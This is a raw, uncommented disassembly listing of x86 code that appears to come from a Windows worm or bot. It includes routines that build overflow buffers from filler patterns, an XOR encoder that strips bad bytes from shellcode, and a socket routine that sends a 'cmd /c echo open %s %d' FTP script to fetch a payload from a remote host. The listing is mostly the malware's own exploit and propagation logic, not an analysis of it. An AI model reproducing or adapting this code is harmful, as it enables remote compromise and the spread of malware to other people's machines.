		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444830
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444838
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BB8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44483C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BAC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E80
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444B9C
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444B98
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448CC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444844
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_4448FC
		mov	[ebx+31h], eax
		mov	ecx, dword_444900
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E130
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E134
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A70
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447541
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447541
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44767F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444908
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		nop
		call	near ptr 2830000h


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444C98
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444CFC, ecx
		lea	ecx, [eax+1]
		mov	dword_444D1D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D15, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D2B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D0C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D10
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D11
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D15
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D19
		mov	[ecx+8], esi
		mov	esi, dword_444D1D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D21
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		call	near ptr 77C2C407h
		nop
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E138
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E138, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C80
		mov	edi, edx
		mov	byte_444C8D, bl
		mov	byte_444C91, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C68
		mov	edi, edx
		mov	word_444C76, bx
		mov	byte_444C7B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491BB[eax*4], ecx
		mov	dword_4491BF[eax*4], ecx
		mov	dword_4491C3[eax*4], ecx
		mov	dword_4491C7[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	byte_448FBB[eax*4], cl
		mov	byte_4491D3[eax*4], cl
		retn
sub_425640	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256B0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_425767
		cmp	ecx, 400h
		jge	loc_425767
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_4491CF[esi*4]
		push	eax
		nop
		call	near ptr 277083Bh
		cmp	dword_4491CF[esi*4], ebx
		jz	short loc_4256F8
		mov	ebp, 1


loc_4256F8:				; CODE XREF: sub_4256B0+41j
		mov	dword_4491CF[esi*4], ebx
		mov	dword_4491BB[esi*4], ebx
		mov	dword_4491BF[esi*4], ebx
		mov	eax, dword_4491C3[esi*4]
		cmp	eax, ebx
		jbe	short loc_425721
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_425721:				; CODE XREF: sub_4256B0+66j
		mov	edi, dword_50FC88
		mov	dword_4491C3[esi*4], ebx
		mov	byte_448FBB[esi*4], bl
